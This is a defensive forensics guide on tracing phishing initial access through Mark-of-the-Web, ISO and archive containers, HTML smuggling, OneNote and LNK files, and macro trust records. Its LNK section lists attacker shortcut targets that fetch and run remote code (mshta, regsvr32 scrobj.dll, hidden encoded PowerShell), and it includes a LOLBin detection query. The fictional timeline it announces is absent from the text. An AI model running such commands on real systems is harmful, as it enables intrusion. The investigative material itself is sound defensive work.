Phishing Forensics: MotW, ISO, LNK and Initial Access

Most intrusions start with a user opening something they received. This guide walks the chain from the phishing email to the first process the attacker controlled, so you can identify the delivery method, prove the file came from the internet, explain why security prompts did or did not fire, and date the first execution. A fictional timeline at the end shows how the pieces fit.

The initial access chain

A typical chain has four links, and each leaves different evidence:

1. Delivery: an attachment in email, or a link to a download.
2. Container: ZIP, ISO, IMG, VHD, HTML smuggling page or OneNote file, often used to shed Mark-of-the-Web.
3. Trigger: an LNK, script, macro document or executable the user opens.
4. Execution: a LOLBin or payload that runs, then persistence and C2.

Work the chain in both directions. Start from the suspicious process if an alert brought you in, or from the email if a user reported it.

Delivery: email and browser

Outlook attachments

When a user opens an attachment directly from classic Outlook, Outlook writes a copy to its secure temp folder:

• %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Outlook\<random 8 chars>\ on current versions.
• The exact path is in HKCU\Software\Microsoft\Office\<version>\Outlook\Security\OutlookSecureTempFolder.

Files in that folder often persist after Outlook closes, and their creation time is effectively the "opened" time. If the same name was opened twice you will see suffixes such as (2). The mailbox itself (the OST or PST) keeps the message, headers and attachment; see Outlook PST and OST for parsing. The new Outlook for Windows uses a different storage model, so do not assume these paths apply to it.

Browser downloads

Links in phishing emails lead to downloads recorded in browser history (downloads table in Chromium History, places.sqlite in Firefox), with source URL, referrer, target path and start and end times. See browser artifacts and Windows browser forensics. Web mail users (Outlook on the web, Gmail) receive attachments through the browser, so for them this is where attachment downloads appear.

When the lure is a password-protected Office or PDF attachment, Hash Extractor turns it into a hashcat or John hash in your browser, so you can test the password quoted in the email body without uploading the file.

Mark-of-the-Web and Zone.Identifier

Browsers and many mail clients tag downloaded files with a Zone.Identifier alternate data stream. This is Mark-of-the-Web, and Windows, SmartScreen and Office use it to decide how much to trust a file.

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://mail.example.net/
HostUrl=https://files.example.org/invoice_4471.zip

• ZoneId: 3 is Internet, 4 Restricted, 2 Trusted, 1 Intranet, 0 Local.
• HostUrl: the URL the file came from. ReferrerUrl: the page that linked to it. Chromium-based browsers write both; other applications may write only ZoneId.
• For HTML-smuggled files, HostUrl may be about:internet or a blob: URL, and the referrer may point at the local HTML file. That pattern itself is a strong indicator.

# Read the stream on a live system
Get-Content -Path .\invoice_4471.zip -Stream Zone.Identifier

# Find every file with a Zone.Identifier under the user profile
Get-ChildItem C:\Users\jdoe -Recurse -File -ErrorAction SilentlyContinue |
  ForEach-Object { Get-Item $_.FullName -Stream Zone.Identifier -ErrorAction SilentlyContinue } |
  Select-Object FileName, Length

In a dead-box image, parse the $MFT: MFTECmd reports ADS names and can dump small resident Zone.Identifier contents. Sysmon event 15 (FileCreateStreamHash) captures the stream content at creation time, including HostUrl, which survives even if the file is deleted. The Zone.Identifier artifact page has the full field list.

Containers and MotW bypass

Attackers wrap payloads in containers so that the file the user finally opens has no MotW, and therefore no SmartScreen check or Office macro block.

ISO, IMG and VHD

Double-clicking an ISO, IMG, VHD or VHDX mounts it as a drive letter. Before Microsoft's November 2022 updates, files inside a mounted ISO did not inherit MotW. Patched systems propagate it for ISO/IMG, but behaviour on older builds and for other formats should be verified rather than assumed.

Evidence of the mount:

• Microsoft-Windows-VHDMP-Operational events recording a virtual disk being surfaced and removed, with the image path (event IDs vary by build; read the message).
• HKLM\SYSTEM\MountedDevices for the new drive letter, and MountPoints2 in the user's NTUSER.DAT for the volume the user opened.
• LNK files and Jump Lists pointing to E:\ or F:\ with a CD-ROM drive type and the image's volume label and serial.
• ShellBags for the browsed drive.

The mounted disk images page details these keys.

Archives

Built-in Windows ZIP extraction propagates MotW to extracted files. Third-party tools vary by product and version: 7-Zip only propagates when the option is enabled (available since version 22), and other tools changed behaviour over time. Several MotW bypasses have been patched in recent years (for example crafted ZIPs and signatures abusing SmartScreen), so record the Windows build and tool version before stating that a bypass occurred.

HTML smuggling

An HTML attachment carries the payload as encoded data and uses JavaScript to build a file in the browser, which then "downloads" it locally. Evidence: the HTML file in the Outlook temp folder or Downloads, a browser download entry with a blob: or data source, and the resulting file's Zone.Identifier. No network request for the payload appears in proxy logs, which is the point of the technique.

OneNote attachments

.one files can embed files behind a fake button. When the user clicks, OneNote writes the embedded file to a temp folder and runs it. Look under %LOCALAPPDATA%\Temp\OneNote\<version>\Exported\{GUID}\NT\0\ and in the OneNote cache for the dropped file. Microsoft added blocking of dangerous embedded file types in 2023, so on current builds this vector is much less effective.

Triggers: LNK, scripts and macros

LNK files

A shortcut inside an ISO or ZIP is the most common trigger today. Its target is a LOLBin, not a document:

• C:\Windows\System32\mshta.exe https://.../payload.hta
• C:\Windows\System32\rundll32.exe payload.dat,DllRegisterServer
• C:\Windows\System32\regsvr32.exe /s /i:https://... scrobj.dll
• cmd.exe /c or powershell.exe -w hidden -enc ...

Parse the LNK with LECmd. Beyond the command line, it carries metadata from the attacker's build machine: NetBIOS name, MAC address in the tracker block, volume serial and creation times. These pivot across campaigns.

# Parse a suspicious LNK and all LNKs in a mounted image
LECmd.exe -f "E:\Invoice.lnk" --json C:\cases\out
LECmd.exe -d "E:\" --csv C:\cases\out --csvf image_lnk.csv

Office macros and trust records

Office blocks VBA macros in files with MotW from the internet by default on supported versions (rolled out from 2022). That is why attackers moved to containers: remove MotW and the old "Enable Content" prompt returns.

If the user clicked "Enable Content", Office writes a trust record under HKCU\Software\Microsoft\Office\<version>\<App>\Security\Trusted Documents\TrustRecords, keyed by document path. Data ending in FF FF FF 7F is widely associated with macros enabled. The Office MRU and trust records page covers parsing. Then look for WINWORD.EXE or EXCEL.EXE spawning cmd.exe, powershell.exe, mshta.exe or rundll32.exe.

SmartScreen and Defender

• SmartScreen checks files with MotW when launched from Explorer. Its operational logging (Microsoft-Windows-SmartScreen/Debug) is disabled by default, so absence of events means little. Look instead for the user's decision in the timeline: a prompt followed by execution.
• Windows Defender: Microsoft-Windows-Windows Defender/Operational 1116/1117 (detection, action) and the MPLog files under C:\ProgramData\Microsoft\Windows Defender\Support\ often mention the container or payload path even when nothing was blocked.

Proving execution

Once you know the payload, prove it ran and when. The evidence of execution guide covers each artifact in depth.

# Process creation from Office, Explorer or OneNote spawning LOLBins (Sysmon)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
  Where-Object { $_.Message -match 'ParentImage:.*\\(WINWORD|EXCEL|ONENOTE|explorer)\.exe' -and
                 $_.Message -match 'Image:.*\\(mshta|rundll32|regsvr32|wscript|cscript|powershell)\.exe' } |
  Select-Object TimeCreated, Message

Worked timeline (fictional)

All names and addresses below are invented; IPs use the documentation range 203.0.113.0/24.

The timeline reads cleanly because each step has two independent sources. If one side is missing, say so rather than filling the gap.

Mapping to MITRE ATT&CK

• T1566 Phishing: .001 attachment, .002 link.
• T1204 User Execution: .002 malicious file.
• T1553.005 Subvert Trust Controls: Mark-of-the-Web Bypass.
• Follow-on LOLBin execution usually maps to T1218 sub-techniques (mshta, rundll32, regsvr32).

Pitfalls

• Expecting MotW on every downloaded file. It depends on the application, the file system and whether the file was extracted by a propagating tool. A missing stream is a finding to explain, not proof of local origin.
• Stating a bypass without the build. ISO, ZIP and SmartScreen behaviour changed with patches. Record the OS build and tool versions.
• Reading LNK timestamps as victim activity. The target timestamps embedded in a delivered LNK come from the attacker's machine. The LNK file's own $MFT times on the victim tell you when it arrived.
• Stopping at the first process. The dropper often deletes itself. Amcache, Prefetch and Sysmon 11 keep traces of the second stage.
• Ignoring the mailbox. Headers, other recipients and the same attachment hash in other mailboxes define the real scope.
• Missing the mount. Without the VHDMP event, MountedDevices or LNK drive type, you cannot explain why files on F: had no MotW.

Initial access checklist

1. Identify the email or download: mailbox item, headers, recipients, attachment hash, URLs.
2. Recover the delivered file from the OST/PST, the Outlook temp folder, Downloads or browser cache.
3. Read the Zone.Identifier of the delivered file and of anything extracted from it; note HostUrl and ReferrerUrl.
4. Identify containers: ISO/IMG/VHD mounts, archives and the tool used, HTML smuggling, OneNote exports.
5. Parse LNK triggers with LECmd and record the attacker build metadata.
6. Check trust records, SmartScreen context and Defender logs.
7. Prove execution with Prefetch, Amcache, 4688, Sysmon 1/11/15 and PowerShell 4104.
8. Build the timeline with two sources per step, map to T1566/T1204/T1553.005, then hunt the hashes, URLs and LNK metadata across the fleet.